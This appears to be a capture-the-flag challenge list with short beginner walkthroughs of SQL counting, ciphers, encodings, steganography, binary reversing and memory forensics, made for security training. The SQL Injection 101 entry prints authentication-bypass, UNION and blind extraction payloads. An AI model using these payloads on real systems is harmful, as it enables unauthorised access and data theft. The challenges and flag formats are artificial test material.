Challenges

Solve challenges to earn points and climb the scoreboard

Titanic: A Data Tragedy

medium

forensics

Overview

The RMS Titanic passenger manifest has been digitized and loaded into an interactive SQL database. A survivor count has been encoded as a flag.

Use the SQL Playground below to query the dataset.

Dataset

The table contains records for 891 passengers. Start by exploring:

SELECT * FROM dataset LIMIT 5;

Schema:

Column Type Description
PassengerId INT Unique passenger identifier
Survived INT 0 = did not survive, 1 = survived
Pclass INT Ticket class (1 = First, 2 = Second, 3 = Third)
Name TEXT Passenger full name
Sex TEXT male or female
Age FLOAT Age in years
Fare FLOAT Ticket price paid

Mission

How many passengers survived? The flag is hctf{N} where N is the survivor count.

-- Start here:
SELECT COUNT(*) FROM dataset WHERE Survived = ???;

Hint: Filter on the Survived column. Survivors have a value of 1.

View Challenge

Titanic: Women and Children First

hard

forensics

Overview

Dig deeper into the Titanic passenger manifest. This challenge requires more targeted analysis of the survivors.

Use the SQL Playground below to query the dataset.

Dataset

Same Titanic dataset as the previous challenge. The dataset table is pre-loaded.

DESCRIBE dataset;
SELECT DISTINCT Sex FROM dataset;

Mission

"Women and children first" — but how many women actually made it?

The flag is hctf{N} where N is the number of female passengers who survived.

-- Build your query step by step:
SELECT COUNT(*) FROM dataset
WHERE Survived = 1
  AND Sex = '???';

SQL Tips

Clause Purpose
WHERE col = val Filter rows by exact value
AND Combine multiple conditions
COUNT(*) Count matching rows

Hint: String comparisons in SQL are case-sensitive. Check the exact value with SELECT DISTINCT Sex FROM dataset first.

View Challenge

Cookie Monster

easy

web

Overview

A mysterious HTTP cookie holds the key. Someone left a secret value in a response header — can you spot it?

Objective: Find the hidden value stored in a browser cookie.

What You Need to Know

HTTP cookies are set via the Set-Cookie response header:

Set-Cookie: session=abc123; HttpOnly; Path=/

Not all cookies are visible in document.cookieHttpOnly cookies are only visible via DevTools or a raw HTTP client.

Tools

  • Browser DevTools → Network tab → Response Headers
  • curl -v http://target/ to see raw headers
  • Burp Suite or any HTTP proxy

The flag is hiding right in front of you — you just need to know where to look.

View Challenge

Caesar's Secret

easy

crypto

Overview

Julius Caesar allegedly invented this cipher to protect his military communications. The message looks scrambled, but the key is simpler than you think.

Ciphertext:

kfwi2{mxolxv_z0xog_eh_su0xg}

Background

The Caesar cipher shifts each letter by a fixed number of positions. With only 26 possible keys, brute force is trivial.

Plaintext Shift Ciphertext
A +3 D
H +3 K
Z +3 C

Numbers and special characters are not shifted — only letters.

Solve It

Try each shift from 1 to 25, or use CyberChef.

Hint: ROT13 is shift 13. This one uses a different key.

View Challenge

Base64? No.

medium

crypto

Overview

It looks like Base64, but something is off. Peel back the layers one by one.

Encoded payload:

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV2xZd01UQlhhMUpUWWtaS

(truncated — full payload in the challenge files)

Encoding Layers

The data has been encoded multiple times using different schemes:

  1. Base64 — the outer shell
  2. Hex encoding — lurking beneath
  3. ROT47 — the final veil
import base64, codecs

data = b"..."
step1 = base64.b64decode(data)
step2 = bytes.fromhex(step1.decode())
step3 = codecs.decode(step2, "rot_13")  # hint: not exactly ROT13
print(step3)

Hint: file and xxd are helpful for identifying encoding types at each layer.

View Challenge

Hidden in Plain Sight

easy

forensics

Overview

This image looks completely normal. But data lurks beneath the surface — examine every byte.

What is Steganography?

Steganography is the practice of hiding secret information within ordinary, non-secret data.

Technique Description
LSB encoding Data hidden in the least significant bits of pixel values
File appending Secret data appended after the image EOF marker
Metadata embedding Data hidden in EXIF or other metadata fields

Tools to Try

# Check metadata
exiftool image.png

# Search for embedded strings
strings image.png | grep -i flag

# LSB steganography tools
zsteg image.png
steghide extract -sf image.png

Hint: The flag isn't in the visible pixels — think about what's hiding in the least significant bits.

View Challenge

Ghost in the Binary

medium

misc

Overview

A stripped binary with anti-debug tricks. Find the hidden validation logic.

The binary accepts a passphrase and validates it against a hardcoded secret:

$ ./challenge
Enter secret: hello
Wrong!

$ ./challenge
Enter secret: ???
Correct! Flag: hctf{...}

Static Analysis

# Identify the binary
file challenge
objdump -d challenge | grep -B5 -A10 "cmp"

# Search for string constants
strings challenge | grep -E "hctf|flag|secret"

Dynamic Analysis

# Trace library calls (often reveals strcmp arguments)
ltrace ./challenge

# Debug with GDB
gdb ./challenge
(gdb) break strcmp
(gdb) run

Hint: The anti-debug technique uses ptrace(). Set a breakpoint after the check, or patch the binary.

View Challenge

SQL Injection 101

medium

web

Overview

The login form looks secure at first glance — but one query was not parameterized, and that's all it takes.

The Vulnerability

The application builds SQL like this:

$query = "SELECT * FROM users
           WHERE username='" . $username . "'
           AND password='" . $password . "'";

Classic Payloads

-- Bypass authentication
' OR '1'='1' --

-- UNION-based data extraction
' UNION SELECT null, table_name, null FROM information_schema.tables --

-- Blind boolean-based
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

Your Target

The flag is stored in a table called secrets. Use a UNION injection to read the secret_value column.

Tip: First determine the number of columns with ORDER BY N --, then craft your UNION.

View Challenge

XOR Master

hard

crypto

Overview

A file was XOR-encrypted with a short repeating key. Frequency analysis and known-plaintext attacks will crack it.

XOR Refresher

XOR with a repeating key is a classic (but weak) stream cipher:

plaintext:  H    e    l    l    o
key:        k    e    y    k    e
ciphertext: 0x23 0x00 0x15 0x07 0x0a

Key property: A XOR B XOR B = A — XOR is its own inverse.

Known-Plaintext Attack

If the flag format is known (hctf{), the first bytes of the key are:

ciphertext = bytes.fromhex(open("challenge.bin", "rb").read().hex())
known = b"hctf{"
key_start = bytes(a ^ b for a, b in zip(ciphertext, known))
print(f"Key starts with: {key_start}")

Finding the Key Length

Try key lengths 1–16. The Index of Coincidence spikes at the correct length.

Hint: Once you have the key, bytes(a ^ b for a, b in zip(ciphertext, key * 999)) decrypts everything.

View Challenge

Memory Forensics

hard

forensics

Overview

A memory dump was captured from a compromised server. Somewhere in 2 GB of data, the attacker left their backdoor credentials.

Tools

Volatility is the standard framework for memory forensics:

# Identify OS profile
volatility -f memory.raw imageinfo

# List running processes
volatility -f memory.raw --profile=LinuxDebian pslist

# Find network connections
volatility -f memory.raw --profile=LinuxDebian netscan

# Dump process command lines
volatility -f memory.raw --profile=LinuxDebian cmdline

What to Look For

The attacker installed a bind shell with credentials encoded in process arguments:

# Search raw memory for flag-shaped strings
strings memory.raw | grep -E "hctf\{.*\}"

# Scan for base64-encoded credentials
strings memory.raw | grep -E "[A-Za-z0-9+/]{20,}={0,2}" | base64 -d 2>/dev/null

Hint: Look for processes spawned by bash with unusual parent relationships. The credentials are Base64-encoded in argv.

View Challenge